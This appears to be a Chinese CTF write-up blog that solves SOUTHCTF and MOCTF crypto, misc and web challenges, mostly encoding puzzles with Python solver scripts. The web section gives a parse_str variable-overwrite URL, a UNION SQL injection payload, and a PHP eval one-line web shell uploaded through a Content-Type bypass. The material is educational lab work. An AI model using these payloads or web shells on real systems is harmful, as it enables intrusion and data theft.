只会做签到题

懒得上图了,将就着看吧,有空会整的/不定期更新

SOUTHCTF

Crypto

豆破苍穹外传之涅天帝崛起【一】

题目

涅普,代号Nepire,原名雷普,原雷族少族长,因在被魂族攻打时解不出Pwn题不敌魂族,惨遭灭门,除他以外无人生还,而自己也差一些魂飞魄散,因心中执念被圣杯感知,以圣杯黑泥重塑已身,可一身修为也消散一空。因重生于黑泥,故改姓为涅,涅者,黑泥也。
后被贝斯家族收养,传下半部残缺的天级功法《贝斯决第一卷》,可他看不太懂,只看懂了一句前言“九者,数之极。”,你能帮他看看吗。

Vm0wd2VHUXhUblJWV0d4WFlURndVRlpzWkc5V1JteFZVMnhPYWxKc1NsWldSM1JQWVcxS1IxZHVhRmRTTTJoUVdWZDRTMk14VG5OaFJtUlhaV3hhVFZaclpEUlpWMUpJVm10c2FGSnRVbFJVVkVwdlpWWlplRmR0ZEZSTlZuQjZWakkxUjFZeVNrZFhia0pXWVd0d2RsbHFSbXRXTVZaeVUyMTRVMkpJUWxwV1ZFb3dZekZXZEZOcmFHaFNiV2hoV1d0a1UyUnNXbGRYYlhSWVVqRktTVnBGV25kV01rcEhZMFJhVjFadFVUQldha1pUWXpGT2NsWnNTbGRTTTAwMQ==

import base64
s="Vm0wd2VHUXhUblJWV0d4WFlURndVRlpzWkc5V1JteFZVMnhPYWxKc1NsWldSM1JQWVcxS1IxZHVhRmRTTTJoUVdWZDRTMk14VG5OaFJtUlhaV3hhVFZaclpEUlpWMUpJVm10c2FGSnRVbFJVVkVwdlpWWlplRmR0ZEZSTlZuQjZWakkxUjFZeVNrZFhia0pXWVd0d2RsbHFSbXRXTVZaeVUyMTRVMkpJUWxwV1ZFb3dZekZXZEZOcmFHaFNiV2hoV1d0a1UyUnNXbGRYYlhSWVVqRktTVnBGV25kV01rcEhZMFJhVjFadFVUQldha1pUWXpGT2NsWnNTbGRTTTAwMQ=="
for i in range(0,9):
    s=base64.b64decode(s)
print(s)

豆破苍穹外传之涅天帝崛起【二】

题目

涅普成功解开了《贝斯决第一卷》,修炼到斗者之境,成功进入厦门软件职业技术学院学习,在学院大比中,外院地榜高手被内院的豆弟打了个遍,为了地榜的颜面,涅普使用贝斯决之九天雷重双脚蹬险胜豆弟一招,因为他根本没在题目中放flag,让豆弟一顿好找,被院长嘉奖《贝斯决第二卷》。
涅普翻开《贝斯决第二卷》,只见上书“豆者,当需志存高远,心有执念,可独身直上三十三重天,战漫天神佛。”,后面便是有些半懂不懂了,看起来《贝斯决第二卷》好像有点高深了,你能参透吗。

111MB的txt,记事本sublime vscode打都打不开,转几圈就卡死了

只好用winhex打开,发现是一串贼长的base64,一开始写了脚本也只能在cmd跑才能出结果,跑几次会发现是由base家族三种编码层层加密下来的结果

所以,解题脚本:

import base64
f=open('C:/Users/asus/Desktop/1.txt')
s=f.read()
s=base64.b64decode(s)
s=base64.b32decode(s)
s=base64.b64decode(s)
s=base64.b16decode(s)
s=base64.b64decode(s)
s=base64.b64decode(s)
s=base64.b64decode(s)
s=base64.b64decode(s)
s=base64.b64decode(s)
s=base64.b64decode(s)
s=base64.b64decode(s)
s=base64.b64decode(s)
s=base64.b16decode(s)
s=base64.b16decode(s)
s=base64.b64decode(s)
s=base64.b32decode(s)
s=base64.b32decode(s)
s=base64.b32decode(s)
s=base64.b16decode(s)
s=base64.b16decode(s)
s=base64.b32decode(s)
s=base64.b16decode(s)
s=base64.b32decode(s)
s=base64.b32decode(s)
s=base64.b64decode(s)
s=base64.b32decode(s)
s=base64.b16decode(s)
s=base64.b32decode(s)
s=base64.b32decode(s)
s=base64.b64decode(s)
s=base64.b16decode(s)
s=base64.b16decode(s)
s=base64.b16decode(s)
print(s)

开玩笑的(会被骂的,反正我被卢师傅骂了)

豆破苍穹外传之涅天帝崛起【三】

题目

涅普获得《贝斯决第二卷》后,修炼一日千里,这天,学院安排他出门试炼,行至水泮,只见水中突有水龙跃起,口吐人言道:“雷普,你当真逃得出魂天帝的手心?”,涅普闻言大惊,后背已然湿了大片,四处观望,并无魂族之人,当下便定下心来,刚想好生盘问水龙,再定睛一看,水龙早已不翼而飞,只剩一本《贝斯决第三卷》静静的浮在空中。
涅普取过《贝斯决第三卷》,揭开来,发现这下大部分都看得懂了,只是有一些紧要之处的章法被墨汁涂改,无法窥得其中真意。

# /usr/bin/python

base64_table = ['=', '0', '9', 'A', '■', 'e', '/', 'g', 'B', 'Z', 'a', '1', 'b', '3', 'f', '+', '4', '2', '8', 'Q', 'l',
             'm', '5', 'C', 'Y', '6', '7', 'c', 'N', 'h', 'i', 'O', 'd', '■', 'E', 'k', 'M', 'F', 'G', 'H', 'I', 'n',
             'o', 'J', 't', 'u', 'U', 'V', 'q', 'r', '■', 'v', 'p', 'w', 'x', 'y', 'z', 'K', 'L', 'R', 'j', 's', 'P',
             'S', 'T', ][::-1]

def encode_b64(s):
 l = len(s)
 i = 0
 result = ''
 while i < l:
     s1 = s[i]
     b1 = bin(ord(s1))[2:]
     cb1 = b1.rjust(8, '0')
     i += 1
     if i >= l:
         cb2 = '00000000'
     else:
         s2 = s[i]
         b2 = bin(ord(s2))[2:]
         cb2 = b2.rjust(8, '0')
     i += 1
     if i >= l:
         cb3 = '00000000'
     else:
         s3 = s[i]
         b3 = bin(ord(s3))[2:]
         cb3 = b3.rjust(8, '0')
     cb = cb1 + cb2 + cb3
     rb1 = cb[:6]
     rb2 = cb[6:12]
     rb3 = cb[12:18]
     rb4 = cb[18:]
     ri1 = int(rb1, 2)
     ri2 = int(rb2, 2)
     ri3 = int(rb3, 2)
     ri4 = int(rb4, 2)
     if i - 1 >= l and ri3 == 0:
         ri3 = -1
     if i >= l and ri4 == 0:
         ri4 = -1
     result += base64_table[ri1] + base64_table[ri2] + base64_table[ri3] + base64_table[ri4]
     i += 1
 return result

print encode_b64(flag)
# output: H7+OHZ■bGLc3nac3■aRDk7RfGo■bEJAiInvcDq==
# /usr/bin/python
import base64

base64_table = ['=', '0', '9', 'A', 'W', 'e', '/', 'g', 'B', 'Z', 'a', '1', 'b', '3', 'f', '+', '4', '2', '8', 'Q', 'l',
                'm', '5', 'C', 'Y', '6', '7', 'c', 'N', 'h', 'i', 'O', 'd', 'D', 'E', 'k', 'M', 'F', 'G', 'H', 'I', 'n',
                'o', 'J', 't', 'u', 'U', 'V', 'q', 'r', 'X', 'v', 'p', 'w', 'x', 'y', 'z', 'K', 'L', 'R', 'j', 's', 'P',
                'S', 'T', ][::-1]


old_base64_table = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S',
                 'T',
                 'U', 'V', 'W', 'X', 'Y', 'Z',
                 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                 'u',
                 'v', 'w', 'x', 'y', 'z',
                 '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
                 '+', '/', '=', ]

for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/':
    s='H7+OHZ'+i+'bGLc3nac3'+i+'aRDk7RfGo'+i+'bEJAiInvcDq=='
    res = ""
    for n in s:
        res += old_base64_table[base64_table.index(n)]
    print(i,end='***')
    print(base64.b64decode(res))

print("******************************************")

for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/':
    s='H7+OHZ'+'Q'+'bGLc3nac3'+i+'aRDk7RfGo'+i+'bEJAiInvcDq=='
    res = ""
    for n in s:
        res += old_base64_table[base64_table.index(n)]
    print(i,end='***')
    print(base64.b64decode(res))

print("******************************************")

for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/':
    s='H7+OHZ'+'Q'+'bGLc3nac3'+'n'+'aRDk7RfGo'+i+'bEJAiInvcDq=='
    res = ""
    for n in s:
        res += old_base64_table[base64_table.index(n)]
    print(i,end='***')
    print(base64.b64decode(res))

print("******************************************")

for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/':
    s='H7+OHZ'+'Q'+'bGLc3nac3'+'n'+'aRDk7RfGo'+'R'+'bEJAiInvcDq=='
    res = ""
    for n in s:
        res += old_base64_table[base64_table.index(n)]
    print(i,end='***')
    print(base64.b64decode(res))

豆破苍穹外传之涅天帝崛起【四】

题目

学过贝斯决第三卷,涅普觉得已经天下无敌。
遂再次挑衅豆弟,扬言三天之内鲨了豆弟,并且把他骨灰都扬了。
豆弟闻言大怒,带着物管气势汹汹的打向厦门软件职业技术学院的丐帮,要讨个说法。
顿时间,厦门软件职业技术学院风云齐聚,学院上空乌云密布,两方人马凌空而立,剑拔弩张,只差一点火星引爆。
面对着怒气冲天的豆弟,涅普脸上掀起一抹玩味的笑容,还不等豆弟行动,大喝一声,起阵二十二周天贝斯大阵瞬间成型,刹那间,封锁住了方圆百里的空间。
豆弟心中咯噔一声,怒气全消,眼中浮现出一丝惊惧之色。
二十二周天贝斯大阵,以往只听老师说过,是传说中失传已久的阵法,玄级封锁类阵法,大阵成型时,一只苍蝇都飞不出。
豆弟转念一想师尊的教诲,随后皱起眉头,他只依稀记得老师说过,破解之法,需贯通阵中二十二处漏洞,才可一股作气破解阵法。
只是,这漏洞藏在哪里了呢。

YmFzZX==
IGp1ZV==
IDQ6IF==
dGlhbv==
IHhpbm==
ZyBqaW==
YW4sam==
dW4gev==
aSB5aX==
IHppIF==
cWlhbm==
ZyBide==
IHhpO2==
IGRpIE==
c2hpIF==
a3VuLP==
IGp1bm==
emkged==
aSBob2==
dSBkZV==
IHphaS==
IHd1Lh==
# encoding: utf-8
def get_base64_diff_value(s1, s2):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in xrange(len(s1)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res


def solve_stego():
    with open('贝斯决第四卷.txt', 'rb') as f:
        file_lines = f.readlines()
    bin_str = ''
    for line in file_lines:
        steg_line = line.replace('\n', '')
        norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
        diff = get_base64_diff_value(steg_line, norm_line)
        print (steg_line, norm_line, diff, bin_str)
        pads_num = steg_line.count('=')
        if diff:
            bin_str += bin(diff)[2:].zfill(pads_num * 2)
        else:
            bin_str += '0' * pads_num * 2
    res_str = ''
    for i in xrange(0, len(bin_str), 8):
        res_str += chr(int(bin_str[i:i + 8], 2))
    print (res_str)


solve_stego()

豆破苍穹外传之涅天帝崛起【五】

再次输给涅普的豆弟心有不甘,于之后便费劲心思修炼。 后被摩斯斗皇收为弟子,传下一本摩斯功,豆弟苦思冥想了三天也没看明白。

..-./.-../.-/--./  --/---/-....-/.../.----/-....-/--./-----/-./--./

豆破苍穹外传之涅天帝崛起【六】

题目

因爱惜弟子,摩斯斗皇又为豆弟找来一本功法——《培根大法》。若想施展此功法,需得在每次施展前吃下极其多的培根,古往今来,实在无人能经常施展此功法。
于是豆弟准备了相当长时间,每天都吃下大量培根,终于达到了能够施展《培根大法》的最低标准。下学期的学院大比也如期而至,豆弟带着一脸培根色再一次对上涅普,一上场就施展《培根大法》,竟和涅普打得难解难分,最后却因吃培根过多而倒地不起。
院长觉得豆弟实乃可塑之才,说要介绍个大佬给他,微信号就放在院长办公室。比赛后豆弟因吃培根过多昏厥不起,你能去帮他找一下大佬的微信号吗?

aaaabaaaabaaaaaaaaaaaaaaaaaaabaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaabaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaabaaaabaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaabaaaabaaaabaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaabaaaabaaaabaaaabaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaabaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaabaaaabaaaaaaaaab

豆破苍穹外传之涅天帝崛起【七】

栅栏变形,用道家心法密籍《天仙金丹心法》那种方式去加密

密文:entgm__abis_a_nan_hgalimoslt

第一栏一个字符,第二栏两个字符,第三栏。。。

e
nt
gm_
_abi
s_a_n
an_hga
limoslt

然后把每栏的字符按列拿下来

eng_sal
tma_ni
_ba_m
i_ho
ngs
al
t

得到eng_saltma_ni_ba_mi_hongsalt

然后题目是有提示加盐的,所以flag{eng_ma_ni_ba_mi_hong}

46esaB

题目

==wVwc3XZBTdflzb091NoV2XmxWYntXMhRmYiJDMlBDOiZWOwQDZhBjMhJ2MmZjY0EWZ1MDZw0nf

import base64
base=''
s='==wVwc3XZBTdflzb091NoV2XmxWYntXMhRmYiJDMlBDOiZWOwQDZhBjMhJ2MmZjY0EWZ1MDZw0nf'
lenth=len(s)
for i in range(lenth):
    base+=s[-1]
    s=s[:-1]
galf=base64.b64decode(base)
galf=str(galf)[2:-1]
print(galf)

lenth=len(galf)
flag=''
for i in range(lenth):
    flag+=galf[-1]
    galf=galf[:-1]
    print(flag)

misc

豆破苍穹 【一】

题目:

《2019-10-11 14:34:51 豆圣成弟》 据那场双弟之战已过了许久,自豆弟突破那境界后便毫无音讯,但成弟之后的瞬间留下的神秘压缩包却无人可破,而如今你却受到神秘声音的指引知道了密码与时间戳相关,故事就此展开……

给了个给了个zip,里面的txt是加密的,看到题目里面的时间戳没有,了解一下

小知识插播时间

时间戳(timestamp)

概念:一个能表示一份数据在某个特定时间之前已经存在的、 完整的、 可验证的数据,通常是一个字符序列,唯一地标识某一刻的时间。使用数字签名技术产生的数据, 签名的对象包括了原始文件信息、 签名参数、 签名时间等信息。广泛的运用在知识产权保护、 合同签字、 金融帐务、 电子报价投标、 股票交易等方面。

定义:时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。

将题目中的2019-10-11 14:34:51转为时间戳作为txt的密码,破开得到flag

豆破苍穹 【二】

题目

《凯撒传承现世》 当你解开豆弟所留的神秘压缩包后,里面竟有鱼空游而出口吐人言,经过一番交谈之后知道了,他名为扣死摸鱼,为摸鱼族的太子,而你破解了他守护的压缩包,实为凯撒大帝的考验,现在要给你凯撒大帝的传承,传授玄阶功法《玄天凯撒决》,看你是否能参透了。

# encoding: utf-8
from secret import flag, key

def encrypt(flag, key):
 r = ""
 for i in flag:
     r += chr((ord(i) + key) % 128)     #ord(r)=ord(flag)+key-128*n
 return r

r=encrypt(flag, key)
s=er.encode("base64")
print s
import base64
# output:d31yeAxIQUZJSENDRHNEQUFHSUpCREp1c0F1SXVGdkdBR0J3Qw4=

def decrypt(r,key):
    flag=''
    for i in r:
        flag+=chr(ord(i)-key)
    print(key,"****",flag)

#s="d31yeAxIQUZJSENDRHNEQUFHSUpCREp1c0F1SXVGdkdBR0J3Qw4="
#r=base64.b64decode(s)=   w}rx\x0cHAFIHCCDsDAAGIJBDJusAuIuFvGAGBwC\x0e
r='w}rxHAFIHCCDsDAAGIJBDJusAuIuFvGAGBwC'
for key in range(1,30):
    decrypt(r,key)

豆破苍穹【三】

题目

《贝斯功》 在参透了玄天凯撒决后,一时间血脉沸腾,七窍流血,想不到这功法竟被卢天帝修改过,这时传来了一道神秘的口诀和充满威严的声音“修炼这贝斯功,当你能把这段口诀便乘图片时,便能压制住那卢天帝的外挂,否则你将命绝与此“

根据题目把给的txt由base64转为图片

import os,base64 
 
with open("C:\\Users\\asus\\Desktop\\btc.txt","r") as f:
    imgdata = base64.b64decode(f.read())
    file = open('1.jpg','wb')
    file.write(imgdata)
    file.close()

然后就会输出一张图片,打开后就能拿到涅师傅的flag

简单流量包1

题目就给了个流量包,然后提示一下新生使用wireshark这个软件去分析

流量包丢wireshark里,看到一堆TCP包,追踪TCP流,一开始找到两个页面

<input style="width:300px;" type="text" name="address1" value="where is flag?" />

<input style="width:300px;" type="text" name="address1" value="can you find me?" />

然后。。。

就是。。。

一个。。。

师傅给的,假flag

flag{This_is_wrong_flag}

555太难过了,不应该是This is a wrong flag才对吗

真flag在下面啦,中间有一堆坏包,大概870的位置,拉过去,然后追踪TCP流,接着就很简单了

简单流量包2

丢wireshark里,找一个zip

这是一张图片

sajo看见了一张图片,也只有一张图片,flag在哪儿呢

winhex最下面

web

签到php

真·签到题

<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);
if (isset($pass)) {
    $key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {
    echo $flag;
}
else {
    highlight_file(__FILE__);
}

echo $flag这一块,判断条件是key的值为a7a795a8efb7c30151031c2cb700ddd9

payload:http://seclabs.cn:8007/web1/?key=a7a795a8efb7c30151031c2cb700ddd9

白给注入

payload:?id=-1%20union%20select%201,group_concat(flag),3,4%20from%20flag%20--+

白给上传 lv.1

题目

厦门首家大型跑马场

上传一句话<?php @eval($_POST['dusk']);?>

被劫了,能上传图片啥的不能上传php,抓包尝试改后缀失败,后改Content-Type判断上传成功

TIM截图20191020140618
TIM截图20191020140618

访问了没啥玩意,菜刀连上,根目录找到flag

Nepire的图片浏览器

题目

Nepire刚进公司自学了php,他开心的在公司内网写了一个图片浏览器并悄悄对外开放。

MOCTF

MOCTF平台是CodeMonsterMokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步。

crypto

数据库密码

题目:20岁的小刚,自幼热爱信息安全,一天他利用SQL注入漏洞入侵了XX公司的数据库,修改了数据库访问密码。网警不久便抓获了小刚,在小刚系统中发现了他做了入侵记录,上面写着一串字符串:D8EA7326QE6EC5916ACCDX6E0VC9D264C63,小刚说这与后台密码有关。聪明的你知道如何解密这条记录,帮助XX公司恢复密码吗?

数据库后台密码加密方式是MD5,要先去掉字符串中不属于0-6,A-F的字母

D8EA7326E6EC5916ACCD6E0C9D264C63MD5解码,得到flag

rot大法好

题目:}rQbpar_gbE{sgpbz

rot其实就是就是简单的移位密码,我密码学那篇里面有详细介绍

这题是rot18,移位之后得到 }eDocne_toR{ftcom 嗯,倒过来的flag

奇怪汉字

题目:2099年,年轻的江先生因为实在没钱于是将自己的魔法棒带到当铺出售,但当铺老板却给了他一张纸,上面这样写道: 由口中 由由夫 由由口 由由口 由中由

当铺密码,同在密码学有详细介绍,得到102 117 110 110 121,ASCII码转一下,得到flag

就是这个feel

题目:恰恰 恰恰恰 恰绑恰绑 恰 绑绑恰绑{恰恰绑 恰恰恰 恰恰恰 恰绑绑}

很明显是摩斯电码,转换一下就能解码

贝斯族谱

题目:

Vm0weGQxSXlSblJWV0d4WFlUSm9WRll3WkRSV01XeHlXa1pPYUZKc1NsWldSM1JQVmpGS2RHVkVRbFZXYkhCUVdWZHplRll4VG5OWGJGcFhaV3RhU1ZkV1kzaFRNVTVYVW01S2FGSnRhRzlVVm1oRFZWWmFjbHBFVWxSaVZrWTFWa2QwYTJGc1NuUlZiRkphWWtkU2RscFdXbXRXTVZaeVdrWndWMkV6UWpaV01uUnZWakZhZEZOc1dsaGlSMmhvVm1wT2IxTXhjRmhsUjBaWFlrZFNlVll5ZUVOV01rVjNZMFpTVjFaV2NGTmFSRVpEVld4Q1ZVMUVNRDA9=

加密了多层base64

TIM截图20191001135826
TIM截图20191001135826

解完得到ngn_qp{qdudtms0u1fz},花括号前有六个字符,先栅栏,选出xxxxx{}格式的那一组,接着凯撒得到flag

贝斯族谱升级版

题目:

R1pDRE1SUldHTTNUSU5SV0c1QkRNUkJUR0UzRElOUlVHWkJUTU5KVklZM0RHTlpTRzQ0VE9NQlhHUVpUQU4yRQ==

解码顺序:base64→base32→base16

卡哇伊

题目:

゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

卡哇伊的aaencode,解码网站

我觉得ok

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook.
Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook.
Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
